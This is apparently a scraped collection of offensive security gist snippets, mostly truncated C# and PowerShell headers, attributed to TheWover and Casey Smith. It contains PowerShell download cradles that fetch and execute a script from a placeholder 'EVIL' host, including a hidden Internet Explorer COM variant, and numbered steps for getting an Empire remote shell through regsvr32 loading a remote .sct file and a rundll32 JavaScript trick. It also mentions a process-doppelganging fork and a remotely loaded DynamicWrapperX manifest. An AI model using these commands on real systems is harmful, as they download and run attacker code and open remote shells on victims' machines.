TheWover

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

TheWover

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

TheWover

logman --% start dotNetTrace -p Microsoft-Windows-DotNETRuntime (JitKeyword,NGenKeyword,InteropKeyword,LoaderKeyword) win:Informational -o dotNetTrace.etl -ets

# Do your evil .NET thing now. In this example, I executed the Microsoft.Workflow.Compiler.exe bypass

# logman stop dotNetTrace -ets

# This is the process ID of the process I want to capture. In this case, Microsoft.Workflow.Compiler.exe
# I got the process ID by running a procmon trace
$TargetProcessId = 8256

TheWover

function Start-DotNetEventCollection
{
    Param(
        [Parameter(Position = 0)]
        [Alias('PSPath')]
        [String] $TracePath = './dotNetTrace.etl',

        [Parameter(Position = 1)]
        [String] $TraceName = 'dotNetTrace'
    )

TheWover

// TheWover: Forked this. Note to self, make it do this: https://blog.malwarebytes.com/threat-analysis/2018/08/process-doppelganging-meets-process-hollowing_osiris/
//
// Ref = src
// https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
//
// Credits:
//  Vyacheslav Rusakov @swwwolf
//  Tom Bonner @thomas_bonner
//

TheWover

# Make Sure dynwrapx,dll is in %temp%
$a = new-object -com Microsoft.Windows.ActCtx
$a.ManifestURL = 'https://gist.githubusercontent.com/subTee/36df32293bc5006148bb6b03b5c4b2c1/raw/661b5aafd55288930761d9ad4eabe7403146ab5c/dynwrapx.dll.manifest'

$b = $a.CreateObject("DynamicWrapperX")
$b.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l") | Out-Null
$b.MessageBoxW(0, "Hello, world!", "Test", 4) | Out-Null

TheWover

using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;

TheWover

using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime;
using System.Text;
using System.Runtime.InteropServices;
using System.EnterpriseServices;
using ComTypes = System.Runtime.InteropServices.ComTypes;
 
 

TheWover

1. Create Empire Listener
2. Generate Stager
3. Host Stager Code At Some URL
4. Host .sct File At Some URL
5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll
6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() )
    -Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec();
7. Wait for Shell...

TheWover

using System;
using System.Diagnostics;
using System.Reflection;
using System.ComponentModel;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Configuration.Install;